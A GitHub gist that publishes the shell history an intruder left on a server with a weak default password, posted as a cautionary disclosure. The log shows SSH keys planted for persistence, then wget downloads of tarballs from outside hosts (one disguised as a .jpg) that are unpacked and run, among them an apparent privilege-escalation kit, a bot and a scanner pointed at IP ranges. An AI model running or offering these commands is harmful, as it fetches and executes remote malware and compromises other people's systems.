Skip to content

Instantly share code, notes, and snippets.

@mikeclarke
Created October 28, 2011 18:21
Show Gist options
  • Save mikeclarke/1322972 to your computer and use it in GitHub Desktop.
Save mikeclarke/1322972 to your computer and use it in GitHub Desktop.
Here's what happens when you set an awful default password for a simple username
ls
mkdir .ssh
chmod 600 .ssh/
cd ssh
vim .ssh/authorized_keys
cd .ssh/
ls
ls -al
chmod .ssh 700
chmod 700 .ssh
cd .ssh/
vim authorized_keys
chmod 600 authorized_keys
ls
vim foo
ls
cat foo
pwd
ls
srm foo
rm -f foo
rm -f disqus-ec2
ll
vim foo2
ll
sudo su
su -
w
wget rulz.bplaced.net/x.jpg
tar xzvf x.jpg
gcc
cd .uid
sh dorin.sh
tar xzvf nou.tgz
cd nou
sh x.sh
cd ..
ls
cd ..
ls
rm -rf x.jpg .uid
passwd
wget rulz.bplaced.net/mech.tgz
tar xzvf mech.tgz
cd mech
ls
nano m.set
nano 3
./autorun
./run
ps x
wget rulz.bplaced.net/de.tgz
tar xzvf de.tgz
cd de
ls
rm -rf data.conf
nano data.conf
./a 195.190
./a 195.191
ls
cd de
ls
rm -rf data.conf
nano data.conf
./a 80.247
./a 87.233
cat data.conf
wget rulz.bplaced.net/nou.tgz
tar xzvf nou.tgz
cd tester
./start sahid
w
uname -a
sudo su
wget http://drugs.altervista.org/expl2.tgz; tar xzvf expl2.tgz;rm -rf expl2.tgz;cd .g;sh ln.sh
sh max.sh
cd ..
ls
m -rf mech mech.tgz nou.tgz
rm -rf mech mech.tgz nou.tgz
cd de
ls
cat data.conf
cat vuln.txt
./a 195.190
./a 82.94
./a 195.244
ls
rm -rf data.conf
nano data.conf
./a 204.109
./a 204.188
./a 204.55
./a 208.188
./a 208.18
./a 64.173
nano data.conf
./a 85.25
cd de
ls
cat vuln.txt
./a 217.160
./a 85.214
ls
rm -rf data.conf
nano data.conf
./a 87.244
./a 82.94
./a 84.210
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment